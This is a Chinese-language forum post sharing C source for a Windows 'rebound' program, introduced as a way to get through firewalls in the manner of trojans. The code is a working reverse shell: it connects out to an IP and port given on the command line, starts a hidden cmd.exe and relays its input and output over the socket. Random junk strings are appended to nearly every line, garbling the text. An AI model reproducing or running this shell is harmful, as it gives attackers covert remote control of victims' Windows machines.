这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dWV.5cViP
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/* ============================== CDcZ6.f
Rebound port in Windows NT c!l=09a~a+
By wind,2006/7 *gMo(-tN
===============================*/ W0%cJ8~
#include @ht= (Jk9
#include Sw HrHj
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#pragma comment(lib,"wsock32.lib") d*80eB9P
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void OutputShell(); "<6X=|C
SOCKET sClient; {xb8H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p^PAbCP'|3
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void main(int argc,char **argv) e]-bB#-A
{ M3-
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WSADATA stWsaData; F|\^O[#R
int nRet; x*GGO)r
SOCKADDR_IN stSaiClient,stSaiServer; nxH+XHv
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if(argc != 3) 3>FeTf#:
{ ?,8|K B
printf("Useage:\n\rRebound DestIP DestPort\n"); ';"W 0
return; %D|p7&
} hh\}WaY
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WSAStartup(MAKEWORD(2,2),&stWsaData); Do-~-d4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -0[?6.(s"
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stSaiClient.sin_family = AF_INET; Ax &Z=
stSaiClient.sin_port = htons(0); H4DM,.04
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {&Kck>C'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 82ay("ZY
{ HD^ Ou5YB
printf("Bind Socket Failed!\n"); ,z A9*
return; h!l&S2)D`
} ;"/[gFD5u
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stSaiServer.sin_family = AF_INET; UYJMW S=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u0^Vy#@_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TC 7&IqT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LLE\ ;,bv
{ dO/iL7K&
printf("Connect Error!"); rH@{[~p
return; m~`d<RM/
} rqJ'm?>cr
OutputShell(); cm`Jr#kl{
} hgt@Mb
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void OutputShell() -Zs.4@GH
{ Q+L;k
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char szBuff[1024]; g}(yq:D
SECURITY_ATTRIBUTES stSecurityAttributes; V`*N2ztSL
OSVERSIONINFO stOsversionInfo; AAbI+L0m{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (`C#Tq
STARTUPINFO stStartupInfo; PuyJ:#a
char *szShell; 88%7
PROCESS_INFORMATION stProcessInformation; |C;8GSw>|F
unsigned long lBytesRead; uL!QeY>k\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z4GcS/3K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zx<:1nF,]
stSecurityAttributes.lpSecurityDescriptor = 0; S#km`N`
stSecurityAttributes.bInheritHandle = TRUE; c8uFLM j
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aU&p7y4C@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3$<u3Zi6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7X+SK&PX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SZVNu*G!H
stStartupInfo.wShowWindow = SW_HIDE; K&T[F!
stStartupInfo.hStdInput = hReadPipe; wm1`<r^M.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *`D}voU
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GetVersionEx(&stOsversionInfo); S87E$k
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switch(stOsversionInfo.dwPlatformId) ^qB
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{ QT\||0V~p
case 1: Ag[Zs%X
szShell = "command.com"; Kkfz a
break; 2HA-q),6
default: {owXyQ2mK
szShell = "cmd.exe"; rlUo#
break; "AN*2)e4
} o2AfMSt.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aCxF{>n
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send(sClient,szMsg,77,0); ^"lVTDsU
while(1) (^_j,4
{ 3C[#_&_l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~PaEhj&8
if(lBytesRead) /\7E&n:)2
{ IKaa=r~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oRDqN]
send(sClient,szBuff,lBytesRead,0); CjFnE
} `!BP.-Zv
else FX1[ 2\
{ "2l$}G
lBytesRead=recv(sClient,szBuff,1024,0); "Zh3,
if(lBytesRead<=0) break; P8&BtA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `kE ;V!n?
} RA];hQI?
} DxM$4
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return; 1>~bzXY#
}